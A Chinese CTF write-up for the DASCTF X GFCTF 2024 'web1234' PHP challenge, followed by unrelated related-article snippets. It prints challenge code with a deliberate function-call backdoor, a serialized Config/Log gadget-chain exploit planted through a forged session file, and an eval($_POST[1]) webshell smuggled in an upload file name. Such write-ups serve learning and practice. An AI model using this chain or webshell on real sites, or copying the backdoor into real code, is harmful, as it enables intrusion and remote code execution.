BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234【代码审计/序列化/RCE】
Hint1:本题的 flag 不在环境变量中
Hint2:session_start(),注意链子挖掘
题目:

扫描出来www.zip
class.php
<?phpclass Admin{public $Config;public function __construct($Config){//安全获取基本信息,返回修改配置的表单$Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");$Config->sex = (is_string($Config->sex) ? $Config->sex : "");$Config->mail = (is_string($Config->mail) ? $Config->mail : "");$Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");$this->Config = $Config;echo ' <form method="POST" enctype="multipart/form-data"><input type="file" name="avatar" ><input type="text" name="nickname" placeholder="nickname"/><input type="text" name="sex" placeholder="sex"/><input type="text" name="mail" placeholder="mail"/><input type="text" name="telnum" placeholder="telnum"/><input type="submit" name="m" value="edit"/></form>';}public function editconf($avatar, $nickname, $sex, $mail, $telnum){//编辑表单内容$Config = $this->Config;$Config->avatar = $this->upload($avatar);$Config->nickname = $nickname;$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");$Config->telnum = substr($telnum, 0, 11);$this->Config = $Config;file_put_contents("/tmp/Config", serialize($Config));if(filesize("record.php") > 0){[new Log($Config),"log"]();}}public function resetconf(){//返回出厂设置file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));}public function upload($avatar){$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);file_put_contents($path,$avatar['fdata']);return $path;}public function __wakeup(){$this->Config = ":(";}public function __destruct(){echo $this->Config->showconf();}
}class Config{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;public function __sleep(){echo "<script>alert('edit conf success\\n";echo preg_replace('/<br>/','\n',$this->showconf());echo "')</script>";return array("uname","passwd","avatar","nickname","sex","mail","telnum");}public function showconf(){$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";$show .= "nickname: $this->nickname<br>";$show .= "sex: $this->sex<br>";$show .= "mail: $this->mail<br>";$show .= "telnum: $this->telnum<br>";return $show;}public function __wakeup(){if(is_string($_GET['backdoor'])){$func = $_GET['backdoor'];$func();//:)}}}class Log{public $data;public function __construct($Config){$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;}public function __toString(){if($this->data === "log_start()"){file_put_contents("record.php","<?php\nerror_reporting(0);\n");}return ":O";}public function log(){file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾}
}
index.php
<?php
error_reporting(0);
include "class.php";$Config = unserialize(file_get_contents("/tmp/Config"));foreach($_POST as $key=>$value){if(!is_array($value)){$param[$key] = addslashes($value);}
}if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){$Admin = new Admin($Config);if($_POST['m'] === 'edit'){$avatar['fname'] = $_FILES['avatar']['name'];$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);$nickname = $param['nickname'];$sex = $param['sex'];$mail = $param['mail'];$telnum = $param['telnum'];$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);}elseif($_POST['m'] === 'reset') {$Admin->resetconf();}
}else{die("pls login! :)");
}
在class.php中发现一长串base64编码的东西,解码得到:
O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"�

也就是说默认的出厂设置 uname为admin,passwd为 50b9748289910436bfdd34bda7b1c9d9,结合index.php中
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd)
将password两次MD5解码得到1q2w3e
提交uname=admin&passwd=1q2w3e登录成功
看提示这应该是一道反序列化的题,但是源代码中并没有unserialize()
但是传输session的时候会发生序列化和反序列化
关于session的流程:
会话可以由php.ini中的配置session.auto_start = 1自动开始,也可以通过函数 session_start()手动开始,其中PHPSESSID用于标志每个用户的会话,它通常通过浏览器的 Cookie 传递给服务器,也可以通过 URL 重写等方式传递。当客户端向服务器发送请求时,会在请求头中包含这个 PHPSESSID,告诉服务器该请求属于哪个会话。PHP 接收到带有 PHPSESSID 的请求后,会根据这个标识符去查找对应的会话数据文件。这些会话数据文件通常存储在服务器的指定目录中,会话数据在存储时通常是经过序列化处理的,PHP 会自动对读取到的会话数据进行反序列化操作,反序列化后的会话数据会被填充到
$_SESSION超级全局变量中。
利用Config中的backdoor可以执行任意函数,提交backdoor=phpinfo查看php配置信息
这里需要手动开始会话

session.serialize_handler用于指定会话数据的序列化和反序列化处理方式,选项是php意思就是用PHP 内置的序列化格式

session文件会被默认存储在 /tmp 或 /var/lib/php/sessions中

__sleep 方法会在对象被序列化(如使用 serialize 函数)时自动调用
public function __sleep(){echo "<script>alert('edit conf success\\n";echo preg_replace('/<br>/','\n',$this->showconf())echo "')</script>";return array("uname","passwd","avatar","nickname","sex","mail","telnum");}
然后调用showconf()
这里 file_get_contents用于将文件的内容读入到一个字符串中, 它期望传入的参数是一个有效的文件路径(字符串类型)。当你传入的是一个对象时,PHP 需要将这个对象转换为字符串,以便能够把它当作文件路径来处理。
public function showconf(){$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";$show .= "nickname: $this->nickname<br>";$show .= "sex: $this->sex<br>";$show .= "mail: $this->mail<br>";$show .= "telnum: $this->telnum<br>";return $show;}
此时会触发Log的toString()
public function __toString(){if($this->data === "log_start()"){file_put_contents("record.php","<?php\nerror_reporting(0);\n");}return ":O";}
此时就将内容写进record.php中
链子明晰了,exp:
<?phpclass Log{public $data="log_start()";}
class Config
{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;
}
$a=new Log();
$b=new Config();
$b->avatar=$a;
echo serialize($b)
?>
序列化结果:
O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到$Session对象,比如下面的aaa|O:6:"Config":...就是对应的$_SESSION['aaa'],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep
(即写回去的时候就是序列化前面反序列化的对象)
这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION['user']=xxx,这样显然是不合理的
事实上$_SESSION['user']=xxx往往只用于改变用户属性
大体思路是:返回session文件时序列化--> __sleep()-->showcof() 此时将avatar写入$show中触发-->toString()-->将<?php\nerror_reporting(0);\n写入record.php
【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)_dasctf x gfctf 2024|四月开启第一局-CSDN博客
会话开启成功

如果没有手动开启会话,它自己不会自动开启

将filename改为“sess_xxxxx”,PHPSESSID=xxxxx
session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去
文件内容用以下格式来写,这样就能被反序列化读取

backdoor-session_start开着,PHPSESSID自己写一个,filename="sess_那个名字",在文件内容中以php的session文件格式写

在文件名中写入木马,此时删除cookie防止再次写入<?php error_reporting(0);

利用RCE执行命令(或者用蚁剑连接)

之前一直不明白为什么要在文件名处写马,看了好几遍源代码才恍然大悟
在这里获取原始文件名
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){$Admin = new Admin($Config);if($_POST['m'] === 'edit'){#获取上传头像的原始名字 $avatar['fname'] = $_FILES['avatar']['name'];#获取上传文件在服务器临时存储的文件名$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);$nickname = $param['nickname'];$sex = $param['sex'];$mail = $param['mail'];$telnum = $param['telnum'];$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);}elseif($_POST['m'] === 'reset') {$Admin->resetconf();}
调用editconf函数
public function editconf($avatar, $nickname, $sex, $mail, $telnum){//编辑表单内容$Config = $this->Config;$Config->avatar = $this->upload($avatar);$Config->nickname = $nickname;$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");$Config->telnum = substr($telnum, 0, 11);$this->Config = $Config;file_put_contents("/tmp/Config", serialize($Config));#使用 filesize 函数检查 record.php 文件的大小是否大于 0。if(filesize("record.php") > 0){#如果 record.php 文件大小大于 0,创建一个 Log 类的实例,并调用该实例的 log 方法记录日志。[new Log($Config),"log"]();}}
然后又调用upload方法,而这里要被返回的路径第一个就是fname,即原始文件名
public function upload($avatar){$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);file_put_contents($path,$avatar['fdata']);return $path;}
这些都调用完以后,也就是$Config->avatar=$path,其中$path中含有我们上传的文件名
文件名就是木马 1';eval($_POST[1]);#,这里也关了php报错,所以/temp/1’;eval($_POST[1]);#也不会因为没有这个文件而终止执行
此时检查到record.php文件含有已经写进去的<?php error_reporting(0);不为空,editconf中最后一行又新建了Log类并调用log方法,所以调用__construct方法和log方法
public $data;public function __construct($Config){$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
#PHP_EOL是通用换行符}
public function log(){file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾}
将这一堆东西写入record.php中,但是没用了,因为我们已经#注释掉了,高
然后还有一个问题就是,为什么删了Cookie就能防止<?php error_reporting(0);再次写入
删了Cookie就代表着上一个会话已经结束,这是开启了一个全新的会话,因为没有上传session文件啥的,所以也不会引起序列化漏洞,不会再写一遍<?php error_reporting(0);只会执行将文件名写入路径中再把路径写入record.php中的操作
如果这时候不删Cookie,默认还是这个会话,它就会把文件再上传到那个sess目录里头,然后引起序列化漏洞,再把前面<?php error_reporting(0);再写一遍
(个人理解)
相关文章:
BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234【代码审计/序列化/RCE】
Hint1:本题的 flag 不在环境变量中 Hint2:session_start(),注意链子挖掘 题目: 扫描出来www.zip class.php <?phpclass Admin{public $Config;public function __construct($Config){//安全获取基…...
(五)Spring Boot学习——spring security +jwt使用(前后端分离模式)
一定要熟悉spring security原理和jwt无状态原理,理解了才知道代码作用。 在 Spring Security JWT 认证流程中,通常的做法是: 用户提交用户名和密码Spring Security 认证管理器 (AuthenticationManager) 进行认证如果认证成功,生…...
Java中使用EasyExcel
Java中使用EasyExcel 文章目录 Java中使用EasyExcel一:EasyExcel介绍1.1、核心函数导入数据导出数据 1.2、项目实际应用导入数据导出数据 1.3、相关注解ExcelProperty作用示例 二:EasyExcel使用2.1、导入功能2.2、导出功能 三:EasyExcel完整代…...
前沿科技改变生活新趋势
纳米技术在电子设备制造中的应用越来越广泛。这种技术能够帮助制造更小、更快、更耐用的电子产品。 举个例子,手机的处理器是其核心部件。随着纳米技术的进步,现在的处理器比以前小得多,但功能却更强。这样不仅让手机变得更轻薄,…...
不到一个月,SQLite 3.49.0来了
距离 SQLite 3.48.0 发布不到一个月,SQLite 开发团队于 2025 年 2 月 6 日发布了 SQLite 3.49.0 版本。这更新速度的确让人感动,那么这个版本又有哪些更新呢? 查询优化器 新版本改进了自动索引(query-time index)优化…...
Android车机DIY开发之软件篇(十四)编译i.mx8mplus官方kernel
1.下载 下载地址 2.安装依赖 sudo apt-get update sudo apt-get install build-essential git libncurses5-dev libssl-dev bc sudo apt-get install gcc-aarch64-linux-gnu export CROSS_COMPILEaarch64-linux-gnu- 3.配置 make ARCHarm64 defconfig 4.编译 make ARCHa…...
Mac上搭建宝塔环境并部署PHP项目
安装Docker Desktop》搭建Centos版本的宝塔环境》部署PHP项目 1. 下载Docker for mac 软件:https://www.docker.com/ 或使用终端命令:brew install --cask --appdir/Applications docker 2. 使用命令安装宝塔环境的centos7系统: docker pul…...
3.3.3 VO-O语法- 语法算子(二)
循环遍历 由于VO语言是面向数据集的,其所有隐含的语义中都已经带有了遍历并计算的数据逻辑。因此,VO语言只提供了一种支持循环语法的算子--Loop算子。 Loop算子 Loop算子是一个容器算子,其可以实现对其内部子流程的循环迭代运行。但Loop算…...
安装 Ollama 需要哪些步骤?(windows+mac+linux+二进制+Docker)
安装 Ollama 的步骤根据操作系统不同会有所差异,以下是针对不同操作系统的详细安装指南: Windows 系统 下载安装包:访问 Ollama 官方下载页面,下载适用于 Windows 的安装程序 OllamaSetup.exe。运行安装程序:双击下载的安装包,按照提示完成安装。默认安装路径为 C:\User…...
HCIA项目实践--静态路由的综合实验
八 静态路由综合实验 (1)划分网段 # 192.168.1.0 24#分析:每个路由器存在两个环回接口,可以把两个环回接口分配一个环回地址,所以是四个环回,一个骨干,这样分配,不会出现路由黑洞#19…...
Electron视图进程和主进程通讯
快速创建基于vue的electron项目:quick-start/create-electron - npm 视图线程也就index.html是无法直接访问这个api的(如果没有开启视图层访问nodejs的功能,现在几乎没法直接开启,开启了一堆警告提示) 所以需要通过r…...
Vript-Hard——一个基于高分辨率和详细字幕的视频理解算法
一、概述 多模态学习的最新进展促进了对视频理解和生成模型的研究。随之而来的是,对高分辨率视频和详细说明所建立的高质量数据集的需求激增。然而,由于时间因素的影响,视频与文本的配对不像图像那样容易。准备视频和文本配对是一项困难得多…...
react脚手架搭建react项目使用scss
1.create-react-app 创建的项目,webpack配置默认是隐藏的 ,如果要查看 或修改用npm run eject命令,因为create-react-app脚手架默认已经配置了scss、sass所以不用改webpack配置。如果用less 就需要自己添加配置 2.如果直接使用scss的文件会直接报错&…...
Vue.js 状态管理库Pinia
Pinia Pinia :Vue.js 状态管理库Pinia持久化插件-persist Pinia :Vue.js 状态管理库 Pinia 是 Vue 的专属状态管理库,它允许你跨组件或页面共享状态。 要使用Pinia ,先要安装npm install pinia在main.js中导入Pinia 并使用 示例…...
【Stable Diffusion部署至GNU/Linux】安装流程
以下是安装Stable Diffusion的步骤,以Ubuntu 22.04 LTS为例子。 显卡与计算架构介绍 CUDA是NVIDIA GPU的专用并行计算架构 技术层级说明CUDA Toolkit提供GPU编译器(nvcc)、数学库(cuBLAS)等开发工具cuDNN深度神经网络加速库(需单独下载)GPU驱动包含CUDA Driver(需与CUDA …...
【C/C++算法】从浅到深学习---滑动窗口(图文兼备 + 源码详解)
绪论:冲击蓝桥杯一起加油!! 每日激励:“不设限和自我肯定的心态:I can do all things。 — Stephen Curry” 绪论: 本章是算法训练的第二章----滑动窗口,它的本质是双指针算法的衍生所以我将…...
计算机毕业设计SpringBoot+Vue.js房源推荐系统 房价预测 房源大数据分析可视化(源码+文档+运行视频+讲解视频)
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
开源机器人+具身智能 解决方案+AI
开源机器人、具身智能(Embodied Intelligence)以及AI技术的结合,可以为机器人领域带来全新的解决方案。以下是这一结合的可能方向和具体方案: 1. 开源机器人平台 开源机器人平台为开发者提供了灵活的基础架构,可以在此基础上结合具身智能和AI技术。以下是一些常用的开源机…...
通过 VBA 在 Excel 中自动提取拼音首字母
在excel里面把表格里的中文提取拼音大写缩写怎么弄 在Excel中,如果你想提取表格中的中文字符并转换为拼音大写缩写(即每个汉字的拼音首字母的大写形式),可以通过以下步骤来实现。这项工作可以分为两个主要部分: 提取拼…...
华硕笔记本怎么一键恢复出厂系统_华硕笔记本一键恢复出厂系统教程
华硕笔记本怎么一键恢复出厂系统? 华硕一键恢复出厂系统是一个安全、高效、方便的恢复方式,让您轻松还原出厂设置,以获得更好的系统性能。如果您的华硕电脑遇到问题,可以使用华硕一键恢复出厂系统功能。下面小编就教大家华硕笔记本…...
后进先出(LIFO)详解
LIFO 是 Last In, First Out 的缩写,中文译为后进先出。这是一种数据结构的工作原则,类似于一摞盘子或一叠书本: 最后放进去的元素最先出来 -想象往筒状容器里放盘子: (1)你放进的最后一个盘子(…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...
《用户共鸣指数(E)驱动品牌大模型种草:如何抢占大模型搜索结果情感高地》
在注意力分散、内容高度同质化的时代,情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现,消费者对内容的“有感”程度,正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中࿰…...
微信小程序 - 手机震动
一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注:文档 https://developers.weixin.qq…...
拉力测试cuda pytorch 把 4070显卡拉满
import torch import timedef stress_test_gpu(matrix_size16384, duration300):"""对GPU进行压力测试,通过持续的矩阵乘法来最大化GPU利用率参数:matrix_size: 矩阵维度大小,增大可提高计算复杂度duration: 测试持续时间(秒&…...
C++ Visual Studio 2017厂商给的源码没有.sln文件 易兆微芯片下载工具加开机动画下载。
1.先用Visual Studio 2017打开Yichip YC31xx loader.vcxproj,再用Visual Studio 2022打开。再保侟就有.sln文件了。 易兆微芯片下载工具加开机动画下载 ExtraDownloadFile1Info.\logo.bin|0|0|10D2000|0 MFC应用兼容CMD 在BOOL CYichipYC31xxloaderDlg::OnIni…...
鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南
1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发,使用DevEco Studio作为开发工具,采用Java语言实现,包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...
面向无人机海岸带生态系统监测的语义分割基准数据集
描述:海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而,目前该领域仍面临一个挑战,即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...
AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别
【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而,传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案,能够实现大范围覆盖并远程采集数据。尽管具备这些优势…...
SpringAI实战:ChatModel智能对话全解
一、引言:Spring AI 与 Chat Model 的核心价值 🚀 在 Java 生态中集成大模型能力,Spring AI 提供了高效的解决方案 🤖。其中 Chat Model 作为核心交互组件,通过标准化接口简化了与大语言模型(LLM࿰…...
